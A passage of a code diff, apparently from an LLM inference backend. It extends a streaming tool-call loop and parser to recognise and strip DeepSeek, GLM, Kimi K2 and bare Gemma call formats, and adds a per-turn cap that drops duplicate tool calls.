+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
     _TOOL_ALL_PATS,
     _balanced_brace_end,
     _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
     _strip_mistral_closed_calls,
     _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
@@ -59,8 +63,8 @@ _MAX_BUFFER_CHARS = 32
 # Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
 _MAX_BARE_JSON_BUFFER = 16384
 
-# Forward-looking intent ("I'll", "First,", "Step 1:") = planning; nudge a call. Negative
-# lookahead drops negated forms ("I will not"). Mirrors GGUF.
+# Forward-looking intent ("I'll", "First,", "Step 1:") = planning, not answering; nudge a call.
+# Negative lookahead drops negated forms ("I will not") so a refusal doesn't trigger it. Mirrors GGUF.
 _INTENT_SIGNAL = re.compile(
     r"(?i)("
     r"\b(i['’](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
@@ -70,11 +74,15 @@ _INTENT_SIGNAL = re.compile(
 )
 _MAX_REPROMPTS = 3
 _REPROMPT_MAX_CHARS = 2000
-# Templated so the nudge names the caller's enabled tools. Mirrors GGUF tool_hint.
+# Templated so the nudge names the caller's enabled tools, not a hardcoded set. Mirrors GGUF tool_hint.
 _REPROMPT_INSTRUCTION_TEMPLATE = (
     "STOP. Do NOT write code or explain. You MUST call a tool NOW. Call {tool_hint} immediately."
 )
 
+# No grammar constraint here (unlike llama-server's lazy grammar): collapse
+# exact-duplicate calls and cap the count so a runaway turn cannot fan out.
+_MAX_TOOL_CALLS_PER_TURN = 8
+
 
 def _active_tool_names(active_tools: list[dict]) -> list[str]:
     names = [
@@ -90,16 +98,25 @@ def strip_tool_markup_streaming(
     *,
     auto_heal_tool_calls: bool = True,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
-    """Strip open-ended tool XML from display text without trimming whitespace."""
+    """Strip open-ended tool XML from display text without trimming whitespace.
+    ``enabled_tool_names`` gates the markerless Gemma ``call:NAME{...}`` strip so a
+    disabled/example name in prose is kept (mirrors the parser gate)."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    # Mirror the final strip (no final trim): drop a leading Magistral ``[THINK]...[/THINK]``
-    # block, then Mistral calls, then a parser-accurate function-XML scan before the regex
-    # arms. An unclosed ``[THINK]`` holds until ``[/THINK]`` so text stays monotonic.
+    # Mirror the final strip's scan order so streaming and final display agree:
+    # balanced strips first (nested JSON removed whole), then the guarded
+    # function-XML/GLM scans that close at each call's REAL terminator, so literal
+    # markup inside argument values is data and trailing prose survives. No final
+    # trim so streaming length comparisons hold. Leading Magistral [THINK]...[/THINK]
+    # is dropped (bracket form, not the reasoning channel's <think>); an unclosed
+    # [THINK] holds until [/THINK] so the cleaned text stays monotonic.
     text = _strip_mistral_reasoning(text)
     text = _strip_mistral_closed_calls(text)
+    text = _strip_gemma_wrapperless_calls(text, enabled_tool_names)
     text = _strip_function_xml_calls(text, final = True)
+    text = _strip_glm_calls(text, final = True)
     for pat in _TOOL_ALL_PATS:
         text = pat.sub("", text)
     return text
@@ -110,10 +127,11 @@ def _strip_tool_markup_final(
     *,
     auto_heal_tool_calls: bool,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    return strip_tool_markup(text, final = True)
+    return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names)
 
 
 def _status_for_tool(tool_name: str, arguments: dict) -> str:
@@ -247,8 +265,9 @@ def run_safetensors_tool_loop(
     final_attempt_done = False
     next_call_id = 0
     reprompt_count = 0
-    # Only turns that executed a tool count against ``max_tool_iterations``; a no-op or
-    # re-prompt turn must not consume budget (GGUF parity).
+    # Real tool-call turns completed. Only turns that actually executed a tool count
+    # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
+    # plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
     _executed_tool_iters = 0
 
     def _tool_succeeded(tool_name: str) -> bool:
@@ -285,7 +304,7 @@ def run_safetensors_tool_loop(
 
         tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
         tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
-        # Gate the markerless bare-JSON form on enabled names so a JSON answer isn't misread as a call.
+        # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
         _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
 
         detect_state = _state_buffering
@@ -373,6 +392,7 @@ def run_safetensors_tool_loop(
                         before_tool,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_tool_names,
                     )
                     if len(cleaned_before) > len(last_emitted):
                         last_emitted = cleaned_before
@@ -403,6 +423,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_tool_names,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -425,8 +446,9 @@ def run_safetensors_tool_loop(
                     is_prefix = True
                     break
 
-            # Bare Llama-3.2 ``{"name":..,"parameters":..}`` carries no XML signal. Hold a leading
-            # ``{`` (after any sentinel) until it closes: drain if it parses as a call, else stream.
+            # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
+            # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
+            # as a call, else stream as content. Non-call text is always recovered downstream.
             bare_probe = strip_llama3_leading_sentinels(stripped)
             if (
                 not is_match
@@ -439,7 +461,7 @@ def run_safetensors_tool_loop(
                         continue  # object still open -- keep buffering
                     elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
                         # Oversized still-open ENABLED-tool call: stop holding (memory bound) but
-                        # DRAIN, not leak; a giant ordinary JSON answer still streams.
+                        # DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams.
                         detect_state = _state_draining
                         continue
                 elif parse_tool_calls_from_text(
@@ -453,6 +475,35 @@ def run_safetensors_tool_loop(
                     continue
                 # Closed non-call object (or oversized non-call) -- stream as text.
 
+            # Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry:
+            # buffer it here or it streams raw until the end-of-turn safety net.
+            # ``(?<!\w)`` keeps "recall:" out; the prefix regex is whitespace-tolerant.
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and (
+                    "call:".startswith(stripped)
+                    or _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None
+                    or _GEMMA_BARE_TC_RE.match(stripped) is not None
+                )
+            ):
+                if _GEMMA_BARE_TC_RE.match(stripped):
+                    detect_state = _state_draining
+                    continue
+                # A ``call:`` / ``call:partial_name`` prefix with no ``{`` yet: keep
+                # buffering the variable-length name instead of leaking ``call:longname``.
+                # Names can exceed 32 chars (OpenAI 64, MCP longer), so a fixed cap would
+                # flush real calls raw. The prefix regex self-terminates on ordinary prose
+                # and the ``{`` drains above; bound generously like the bare-JSON path.
+                if _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue
+                    detect_state = _state_draining
+                    continue
+                if len(stripped) < _MAX_BUFFER_CHARS:
+                    continue  # bare "call:" prefix still forming
+
             if is_match:
                 # Tool signal -- flush any visible prefix before DRAINING
                 # so the route sends it before tool_start.
@@ -461,6 +512,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_tool_names,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -493,6 +545,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_tool_names,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -515,23 +568,25 @@ def run_safetensors_tool_loop(
             elif tool_protocol_active and _looks_like_enabled_bare_json(
                 _bare_eos, _enabled_tool_names
             ):
-                # Held ENABLED-tool bare-JSON fragment has no XML signal; DRAIN it (a JSON answer
-                # falls through to the else and streams, GGUF parity).
+                # A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary
+                # JSON answer falls through to the else and streams as content, GGUF parity).
                 detect_state = _state_draining
             else:
                 # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
                 # still fire on short emissions like "Let me search." that never exit BUFFERING.
                 if content_buffer:
                     cumulative_display += content_buffer
-                    cleaned = strip_tool_markup(cumulative_display, final = True)
+                    cleaned = strip_tool_markup(
+                        cumulative_display, final = True, enabled_tool_names = _enabled_tool_names
+                    )
                     if len(cleaned) > len(last_emitted):
                         last_emitted = cleaned
                         yield {"type": "content", "text": cleaned}
                 detect_state = _state_streaming
 
         if detect_state == _state_streaming:
-            # Run the parser even with no XML signal (bare-JSON carries none); it's strict so
-            # plain answers stay untouched. Mirrors GGUF.
+            # Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's
+            # strict so plain answers stay untouched. Mirrors GGUF.
             safety_tc = parse_tool_calls_from_text(
                 content_accum,
                 id_offset = next_call_id,
@@ -539,8 +594,8 @@ def run_safetensors_tool_loop(
                 enabled_tool_names = _enabled_tool_names,
             )
             if not safety_tc:
-                # Re-prompt only when the model planned without acting (intent signal);
-                # "4" / "Hello!" never trigger. Mirrors GGUF.
+                # Re-prompt only when the model planned without acting (intent
+                # signal); "4" / "Hello!" never trigger. Mirrors GGUF.
                 _stripped = content_accum.strip()
                 if (
                     tools
@@ -569,9 +624,9 @@ def run_safetensors_tool_loop(
                     yield {"type": "status", "text": ""}
                     continue
 
-                # Final answer. If a literal tool marker in prose was buffered but never
-                # parsed as a call, restore the raw text so the prose surfaces; route
-                # cleanup still applies the Auto-Heal policy.
+                # Final answer. If a literal tool marker in prose was buffered but
+                # never parsed as a call, restore the raw text so the prose surfaces
+                # in full; route-level cleanup still applies the Auto-Heal policy.
                 if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
                 yield {"type": "status", "text": ""}
@@ -581,6 +636,7 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_tool_names,
             )
             logger.info(
                 "Safetensors safety net: parsed %d tool call(s) from streamed content",
@@ -603,9 +659,10 @@ def run_safetensors_tool_loop(
                         content_accum,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = False,
+                        enabled_tool_names = _enabled_tool_names,
                     )
-                    # Drained bare-JSON call that didn't parse: with Auto-Heal on drop the fragment
-                    # (plain JSON untouched); off keeps it visible per the strict contract.
+                    # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment
+                    # (plain JSON answers are left untouched); off keeps it visible per the strict contract.
                     if tool_protocol_active and auto_heal_tool_calls:
                         _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
                     if _drain_text:
@@ -625,12 +682,13 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_tool_names,
             )
 
         if tool_calls:
             next_call_id += len(tool_calls)
-            # Strip a leading bare-JSON call so it isn't replayed as text or next-turn history
-            # (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
+            # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or
+            # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
             content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
 
         if final_attempt_done:
@@ -640,6 +698,27 @@ def run_safetensors_tool_loop(
             yield {"type": "status", "text": ""}
             return
 
+        # Collapse exact-duplicate calls and cap the count (runaway-turn guard).
+        if tool_calls:
+            seen_keys: set = set()
+            deduped: list = []
+            for _tc in tool_calls:
+                _fn = _tc.get("function", {}) or {}
+                _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                if _key in seen_keys:
+                    continue
+                seen_keys.add(_key)
+                deduped.append(_tc)
+                if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                    break
+            if len(deduped) != len(tool_calls):
+                logger.info(
+                    "Safetensors: collapsed %d repeated tool call(s) in one turn to %d",
+                    len(tool_calls),
+                    len(deduped),
+                )
+            tool_calls = deduped
+
         assistant_msg: dict = {"role": "assistant", "content": content_text}
         assistant_appended = False
 
@@ -771,7 +850,8 @@ def run_safetensors_tool_loop(
         if not unrestricted_tools and not tool_controller.active_tools():
             final_attempt_done = True
             continue
-        # Count only real tool turns against the cap so a no-op turn doesn't consume budget (GGUF parity).
+        # Count only turns that executed a tool against the cap; a no-op correction turn doesn't
+        # consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity).
         if _turn_executed_real_tool:
             _executed_tool_iters += 1
         if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index 9e82e40de2..08a6bf418a 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -14,18 +14,22 @@ safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF:
   - ``[TOOL_CALLS]name{json}``                  (Mistral v11+ / Magistral)
   - ``[TOOL_CALLS]name[ARGS]{json}``            (Ministral / Mistral Large 3)
   - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}<tool_call|>``  (Gemma 4)
+  - ``<｜tool▁calls▁begin｜>...function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`...``  (DeepSeek R1)
+  - ``<｜tool▁calls▁begin｜>...<｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``  (DeepSeek V3 / V3.1)
+  - ``<tool_call>NAME\\n<arg_key>k</arg_key>\\n<arg_value>v</arg_value>...</tool_call>``  (GLM 4.5 / 4.6 / 4.7)
+  - ``<|tool_calls_section_begin|>...<|tool_call_begin|>functions.NAME:IDX<|tool_call_argument_begin|>{json}<|tool_call_end|>...``  (Kimi K2)
 
 Missing closing tags / brackets are tolerated: models often truncate mid-stream.
 """
 
-# Keeps PEP 604 `X | None` lazy for python 3.9 (imported standalone by external servers).
+# Lazy annotations keep the standalone python 3.9 import working.
 from __future__ import annotations
 
 import json
 import re
 from typing import Any, Optional
 
-# Shared parser handles Qwen/Hermes, Qwen3.5 XML, Gemma 4; this module adds Llama-3, Mistral, bare JSON.
+# Qwen/Hermes, Qwen3.5 XML and Gemma 4 live in core.tool_healing; this module adds the rest.
 from core import tool_healing as _tool_healing
 
 
@@ -37,14 +41,31 @@ TOOL_XML_SIGNALS = (
     "<|python_tag|>",
     "[TOOL_CALLS]",
     "<|tool_call>",
+    # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps.
+    "<｜tool▁calls▁begin｜>",
+    "<｜tool▁call▁begin｜>",
+    "<｜tool_calls_begin｜>",
+    "<｜tool▁calls｜>",
+    "<｜tool calls begin｜>",
+    "<｜tool\\_calls\\_begin｜>",
+    # Kimi K2 / Moonshot.
+    "<|tool_calls_section_begin|>",
+    "<|tool_call_begin|>",
 )
 
 
-# Closed pairs only (mid-stream); _TOOL_ALL_PATS eats unclosed tails at end-of-turn.
+# DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped.
+_DEEPSEEK_OPEN_ALT = (
+    r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls"
+)
+_DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>"
+
+# Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at
+# end-of-turn. ``[\w-]+`` on ``<function=...>`` tracks OpenAI's
+# ``^[a-zA-Z0-9_-]{1,64}$`` so hyphenated MCP names parse like built-ins.
 _TOOL_CLOSED_PATS = [
     re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    # Match to the real ``</function>`` (lookahead, not greedy ``.*``) so a literal
-    # ``</function>`` in a value doesn't truncate and each call stays separate.
+    # Span to the real ``</function>`` so a literal one inside a value can't truncate the strip.
     re.compile(
         r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>'
         r'(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*'
@@ -52,12 +73,21 @@ _TOOL_CLOSED_PATS = [
         re.DOTALL,
     ),
     re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    re.compile(r"\[TOOL_CALLS\]\s*\[.*?\](?:\s*</s>)?", re.DOTALL),
+    # Mistral v11+ ``[TOOL_CALLS]name{json}`` (may chain), close at ``}``.
+    re.compile(r"\[TOOL_CALLS\]\s*[\w\.\-]+\s*(?:\[ARGS\])?\s*\{.*?\}", re.DOTALL),
+    # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end.
+    re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL),
+    # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``.
+    re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL),
+    # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS.
+    re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL),
 ]
 _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
     re.compile(r"<tool_call>.*$", re.DOTALL),
     re.compile(r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>.*$', re.DOTALL),
-    # Bare-word markers drop a trailing truncated call only when the next chars look like
-    # a call start, so prose mentioning the marker is kept; a marker at end-of-text drops.
+    # Bare-word markers drop a trailing truncated call only when a call-shaped start
+    # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops.
     re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
     re.compile(
         r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*[\[{])|\s*$).*$",
@@ -67,6 +97,22 @@ _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
         r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$",
         re.DOTALL,
     ),
+    # DeepSeek envelopes truncated mid-stream (any opener); same call-shaped lookahead as above.
+    re.compile(
+        _DEEPSEEK_OPEN_RE_SRC + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(r"<｜tool▁call▁begin｜>(?=\s*function|\s*$).*$", re.DOTALL),
+    # Kimi K2 envelope truncated.
+    re.compile(
+        r"<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*$",
+        re.DOTALL,
+    ),
+    # Gemma wrapper-less ``call:NAME{...}`` is handled by ``_strip_gemma_wrapperless_calls`` (enabled-name gate).
 ]
 
 
@@ -105,8 +151,7 @@ BUDGET_EXHAUSTED_NUDGE = (
     "any more tools."
 )
 
-# The exact-args dup guard misses paraphrased re-searches, so also cap executed
-# KB searches per turn, then nudge.
+# The exact-args dup guard misses paraphrased re-searches, so also cap KB searches per turn.
 RAG_MAX_SEARCHES_PER_TURN = 3
 RAG_SEARCH_CAP_NUDGE = (
     "You have already searched the knowledge base several times this turn. "
@@ -117,14 +162,16 @@ RAG_SEARCH_CAP_NUDGE = (
 
 # Qwen / Hermes ``<tool_call>{json}``.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-# Qwen3.5 ``<function=name>`` plus attribute form ``<function name="name">`` (MiniCPM-5,
-# MiniMax-M2); name in group(1) or group(2).
+# Qwen3.5 ``<function=name>`` and the attribute form ``<function name="name">``
+# (MiniCPM-5, MiniMax-M2); name class ``[\w.\-]+`` lands in group(1) or group(2).
 _TC_FUNC_START_RE = re.compile(r'<function(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>\s*')
-# Body ends at ``</tool_call>`` or ``</function>`` so trailing prose stays out of args.
+# Body ends at ``</tool_call>`` (Hermes) or ``</function>`` (Qwen3.5 / MiniCPM-5)
+# so it stops at the close even when prose follows (else prose leaked into args).
 _TC_END_TAG_RE = re.compile(r"</(?:tool_call|function)>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-# Horizontal whitespace only so the wrapping newline + indent survive (``_trim_param_value``
-# trims one newline), preserving code indent.
+# Horizontal whitespace only (``[^\S\n]*``, not ``\s*``) so the wrapping newline +
+# first-line indentation survive; ``_trim_param_value`` trims one newline, preserving
+# code indentation (SGLang qwen3_coder).
 _TC_PARAM_START_RE = re.compile(
     r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*'
 )
@@ -135,35 +182,81 @@ _LLAMA3_PYTHON_TAG = "<|python_tag|>"
 _LLAMA3_PY_CALL_RE = re.compile(
     r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(",
 )
-# Anchored at the char after ``<|python_tag|>`` plus the ``; NAME.call(`` chain sep, so
-# a ``.call(`` inside JSON args is ignored.
+# Anchored at a fixed offset (char after ``<|python_tag|>``) plus the ``; NAME.call(``
+# chain separator; fixed-offset (not a free scan) ignores ``.call(`` inside JSON args.
 _LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(")
 _LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(")
-# ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay linear on a
-# truncated body (ReDoS).
+# Llama-3 ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay
+# linear on a truncated body; finditer retries every offset of a long run (ReDoS).
 _LLAMA3_KEY_RE = re.compile(r"\w+")
 _LLAMA3_WS_RE = re.compile(r"\s*")
-# ints, decimals, sci notation; trailing ``(?![\w.])`` stops ``1.2.3`` truncating to ``1.2``.
+# ints, decimals (1.5, 1., .5) and sci notation; trailing ``(?![\w.])`` stops a token
+# like ``1.2.3`` being truncated to ``1.2`` (which would mis-parse the remainder).
 _LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])")
 _LLAMA3_LIT_RE = re.compile(r"true|false|null")
 
-# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains ``name{json}`` (Magistral) or
-# ``name[ARGS]{json}`` (Ministral / Large 3).
+# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains them, each followed by a bare name
+# plus ``{json}`` (Magistral) or ``[ARGS]{json}`` (Ministral / Large 3).
 _MISTRAL_TRIGGER = "[TOOL_CALLS]"
 _MISTRAL_ARGS_MARKER = "[ARGS]"
-# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral / Magistral).
+# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral /
+# Magistral); llama.cpp distinguishes the two on ``[CALL_ID]`` (common/chat.cpp).
 _MISTRAL_CALL_ID_MARKER = "[CALL_ID]"
-# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside is not a real call.
+# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside
+# that block is chain-of-thought, not a real call.
 _MISTRAL_THINK_OPEN = "[THINK]"
 _MISTRAL_THINK_CLOSE = "[/THINK]"
 _MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*")
 
+# DeepSeek markers (full-width pipe U+FF5C, block U+2581); five outer-open variants like llama.cpp.
+_DEEPSEEK_BEGIN_RE = re.compile(_DEEPSEEK_OPEN_RE_SRC)
+_DEEPSEEK_END = "<｜tool▁calls▁end｜>"
+_DEEPSEEK_CALL_BEGIN = "<｜tool▁call▁begin｜>"
+_DEEPSEEK_SEP = "<｜tool▁sep｜>"
+_DEEPSEEK_CALL_END = "<｜tool▁call▁end｜>"
+# R1 wraps args in a ```json fence with a ``function`` prefix; V3/V3.1 do not.
+# Scanned with ``str.find`` -- the regex forms are O(N^2) on truncated bodies.
+_DEEPSEEK_R1_FUNC_MARKER = "function" + _DEEPSEEK_SEP
+_DEEPSEEK_R1_FENCE = "\n```json\n"
+_DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_END))
+
+# GLM 4.5-4.7: ``<tool_call>NAME[\n]<arg_key>K</arg_key>...``; the lookahead also allows a
+# direct ``<arg_key>``/``</tool_call>`` (4.7 drops the newline, zero-arg calls close at once).
+# Name class ``[\w.\-]+`` keeps prose like ``<tool_call>not a call</tool_call>`` unparsed;
+# ``{`` stays with the Qwen JSON parser.
+_GLM_TC_OPEN_RE = re.compile(r"<tool_call>\s*([\w.\-]+)\s*(?=\n|<arg_key>|</tool_call>)")
+_GLM_TC_CLOSE = "</tool_call>"
+_GLM_ARG_KEY_OPEN = "<arg_key>"
+_GLM_ARG_KEY_CLOSE = "</arg_key>"
+_GLM_ARG_VAL_OPEN = "<arg_value>"
+_GLM_ARG_VAL_CLOSE = "</arg_value>"
+# Strings arrive raw, non-strings via tojson; only unambiguous JSON literals decode
+# (bare ``42``/``true``/``null`` stay strings).
+_GLM_JSON_NUMERIC_RE = re.compile(r"-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?")
+
+# Kimi K2 / Moonshot (ASCII pipes). Id ``functions.NAME:IDX`` -- strip ``functions.``/``:N`` for the name.
+_KIMI_SECTION_BEGIN = "<|tool_calls_section_begin|>"
+_KIMI_SECTION_END = "<|tool_calls_section_end|>"
+_KIMI_CALL_BEGIN = "<|tool_call_begin|>"
+_KIMI_ARG_BEGIN = "<|tool_call_argument_begin|>"
+_KIMI_CALL_END = "<|tool_call_end|>"
+_KIMI_ID_RE = re.compile(r"^(?:functions\.)?([\w\.\-]+)(?::(\d+))?$")
+
 # Gemma 4: ``<|tool_call>call:NAME{...}<tool_call|>``, ``<|"|>`` wraps strings.
 _GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{")
 _GEMMA_STR_BEGIN = '<|"|>'
 _GEMMA_STR_END = '<|"|>'
 _GEMMA_TC_END = "<tool_call|>"
 
+# skip_special_tokens strips the wrapper and ``<|"|>`` markers, so streamed Gemma calls
+# arrive as bare ``call:NAME{k:v, ...}``; ``(?<!\w)`` avoids ``recall:``.
+_GEMMA_BARE_TC_RE = re.compile(r"(?<!\w)call\s*:\s*([\w\.\-]+)\s*\{")
+# Partial leading prefix (``call``, ``call :``, ``call : name``) so the streaming buffer
+# holds it instead of leaking visible text.
+_GEMMA_BARE_TC_PREFIX_RE = re.compile(r"(?<!\w)call\s*(?::\s*[\w\.\-]*)?$")
+# Keys start with a letter/underscore so ``10:00, 11:00`` in a value isn't misread as a new key.
+_GEMMA_KEY_RE = re.compile(r"\s*([A-Za-z_][\w.\-]*)\s*:")
+
 
 def _balanced_bracket_end(text: str, start: int) -> int | None:
     """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings)."""
@@ -215,7 +308,8 @@ def _skip_mistral_call_id(text: str, pos: int) -> int:
 
 
 def _strip_mistral_reasoning(content: str) -> str:
-    """Drop a leading Magistral ``[THINK]`` block so rehearsed calls inside reasoning are not promoted; unclosed drops to EOF."""
+    """Drop a leading Magistral ``[THINK]...[/THINK]`` so a ``[TOOL_CALLS]`` inside
+    reasoning is not taken as a real call; an unclosed ``[THINK]`` drops from it on."""
     i = 0
     n = len(content)
     while i < n and content[i] in " \t\n\r":
@@ -229,7 +323,10 @@ def _strip_mistral_reasoning(content: str) -> str:
 
 
 def _strip_mistral_closed_calls(text: str) -> str:
-    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks via balanced scanning (a non-greedy regex would truncate nested JSON); unclosed runs wait for ``final=True``."""
+    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks (array, ``name{json}``,
+    ``name[ARGS]{json}``) via balanced scanning -- a non-greedy ``\\{.*?\\}`` would
+    truncate at the first ``}`` and lose nested JSON. Unclosed runs are left for
+    ``final=True`` cleanup."""
     n = len(text)
     out = []
     cursor = 0
@@ -254,7 +351,8 @@ def _strip_mistral_closed_calls(text: str) -> str:
             if text.startswith("</s>", cursor):
                 cursor += len("</s>")
             continue
-        # Single-object shape ``[TOOL_CALLS] { json }``: the parser accepts it, so strip it too.
+        # Single-object shape ``[TOOL_CALLS] { json }`` (no name/array): the parser
+        # accepts it, so the display strip must remove it too (else it leaks).
         if i < n and text[i] == "{":
             end = _balanced_brace_end(text, i)
             if end is None:
@@ -287,12 +385,50 @@ def _strip_mistral_closed_calls(text: str) -> str:
             out.append(text[idx:])
             break
         cursor = end + 1
-        # Consume the optional EOS marker so ``...{json}</s>`` doesn't leave ``</s>`` as content.
+        # Consume the optional EOS marker too, mirroring the array shape, so a
+        # ``[TOOL_CALLS]name{json}</s>`` tail doesn't leave ``</s>`` as content.
